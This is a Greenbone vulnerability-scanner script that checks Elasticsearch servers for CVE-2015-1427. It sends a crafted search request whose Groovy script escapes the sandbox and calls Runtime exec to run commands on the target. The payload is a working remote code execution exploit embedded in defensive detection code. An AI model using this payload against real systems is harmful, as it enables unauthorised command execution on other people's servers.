Elasticsearch Groovy Scripting Engine Unauthenticated Remote Code Execution

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:elastic:elasticsearch";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105233");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2015-1427");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2023-07-25T05:05:58+0000");

  script_name("Elasticsearch Groovy Scripting Engine Unauthenticated Remote Code Execution");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/72585");
  script_xref(name:"URL", value:"https://www.elastic.co/blog/elasticsearch-1-4-3-and-1-3-8-released");
  script_xref(name:"URL", value:"https://blog.trendmicro.com/trendlabs-security-intelligence/multistage-attack-delivers-billgates-setag-backdoor-can-turn-elasticsearch-databases-into-ddos-botnet-zombies/");

  script_tag(name:"impact", value:"An attacker can exploit this issue to bypass certain security
  restrictions and execute code in the context of this application.");

  script_tag(name:"vuldetect", value:"Send a special crafted HTTP POST request and check the response.");

  script_tag(name:"insight", value:"The Groovy scripting engine in Elasticsearch allows remote attackers to bypass
  the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.

  This vulnerability was known to be used by the Setag/BillGates malware in 2019.");

  script_tag(name:"solution", value:"Update to 1.3.8/1.4.3 or later. Please see the references for more information.");

  script_tag(name:"summary", value:"Elasticsearch is prone to an unauthenticated remote code execution.");

  script_tag(name:"affected", value:"Elasticsearch before 1.3.8 and 1.4.x before 1.4.3.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-03-12 10:52:20 +0100 (Thu, 12 Mar 2015)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("gb_elastic_elasticsearch_detect_http.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 9200);
  script_mandatory_keys("elastic/elasticsearch/detected");

  exit(0);
}

include("misc_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

cmds = exploit_commands();

url = "/_search?pretty";

foreach cmd( keys( cmds ) )
{
  ex = '{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"' + cmds[ cmd ]  +  '\\").getText()"}}}';
  req = http_post( item:url, port:port, data:ex );
  res = http_keepalive_send_recv( port:port, data:req );
  if( res && eregmatch( pattern:cmd, string:res ) )
  {
    report  = http_report_vuln_url( port:port, url:url );
    report += '\nPOST body: ' + ex;
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );